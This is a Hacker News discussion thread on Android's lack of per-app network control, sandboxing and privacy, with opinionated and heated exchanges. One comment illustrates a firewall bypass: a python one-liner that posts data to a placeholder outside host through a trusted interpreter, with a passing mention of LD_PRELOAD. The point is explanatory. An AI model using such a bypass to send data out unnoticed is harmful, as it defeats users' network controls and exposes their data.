Comment by colordrops | Hacker News Reader

Comment by colordrops | Hacker News Reader

Parent Full thread

Yes, Android is mature and secure, but it's not private. No one seems to talk about this much, but there are a few Android "features" that had to be designed by sociopaths.

The main one for me is the complete lack of control of network traffic. Other than a VPN loopback app, which is pretty janky, there is no way to disable network traffic per app. Even with a VPN loopback, there is no way to only allow network traffic when then app is in the foreground. There is no way to set network traffic to block by default and ask the user for permission when network access is needed. These restrictions are ABSOLUTELY DEADLY for user privacy and I don't understand why everyone isn't screaming at the top of their lungs from rooftops about these problems.

It's quite obvious with a 2 seconds of thought that these deficiencies were intentional to maintain Google's advertising monopoly, but I don't want a crippled OS to support Google's abhorrent business model.

It's absolutely mind boggling. It almost makes me want to join the LineageOS project to close these loopholes.

> Android is mature and secure, but it's not private

Nitpick: you cannot have security-but-not-privacy.

If a system does not protect the confidentiality of your data from the eyes of the manufacturer it is breaching security.

Security is much more than being protected from attacks. A torch application that reads your contact list and location fits squarely into the definition of trojan/spyware/malware.

Further nitpick: >Secure from whom?

The only person who seems to benefit from the way the security model works on Android is App Developers/carriers/manufacturers/Google. The user abstraction on an Android device doesn't even line up with a human user of the device, but rather it lines up with applications and software on the phone. I have seen nothing that more obviously tuned fpr turnimg a general computing device into a passive scripted experience regurgitator than Android.

You do not get the ability to organize arbitrary data. You need an app. You don't have a consistent experience of a filesystem, shared across all programs. Instead, you have a myriad of apps that do everything they can to hide the implementation details from you.

This does not "help" computer literacy to be most people's first encounter with a computer.

Per app restrictions only make sense with a strong sandbox (like Android). You can otherwise trivially get around something like little snitch by asking a trusted application to do something for you.

Edit: Say you're playing around in Python repl. You enable it in your firewall. Now I just have to shell out to "python -c 'import requests; requests.post('my-innocent-app.herokuapp.com', ...)'". With a little more work I could do something like LD_PRELOAD.

By the way, my colleague has some crappy Huawei phone, which previously killed background apps [1], but this week received an update that changed the behaviour to simply disabling them from accessing the internet.

[1]: https://dontkillmyapp.com

Hmm, maybe it's time for a huawei. I have a oneplus and had the hardest time unlocking my Tesla for a while because OnePlus's OxygenOS kept killing the Tesla app in the background. Really stupid.

This is a simple but wonderful idea!

Hope more vendors follow. Google changing permission model to allow any app internet access was the stupidest decision made by a company in this millennium

It is an idiotic idea because it makes my xmpp client unusable. It should be up to a user to decide what should work on a device and how, not forcing some undocumented behaviour upon a user 'for his own good'

Is there ANY OS out there that doesn't allow apps to the internet by default?

Seriously, you throw around things like "sociopaths" for a pretty standard and expected user behaviour in all OSes out there?

Wait, why is this a controversial stand?

Is it really that bad to not wanting a random torch app to not use all your monthly data on God knows what?

Because you're throwing jabs at Android while literally every other OS in existence behaves the same way regarding network access.

This thread is in response to why we need a Linux OS, which is because they are all bad.

Android is infinitely better than anything you can come up with Linux OS on mobile. It is much easier to "fix" Android's "issues".

> than anything you can come up with Linux OS on mobile

I don't understand how you can generalize this far. Using a full desktop OS on mobile with all desktop apps is undoubtedly better.

> there is no way to disable network traffic per app.

Latest LineageOS can do that in the same place you can restrict background data, it has options for restricting mobile, WiFi and VPN data per app.

Reply on news.ycombinator.com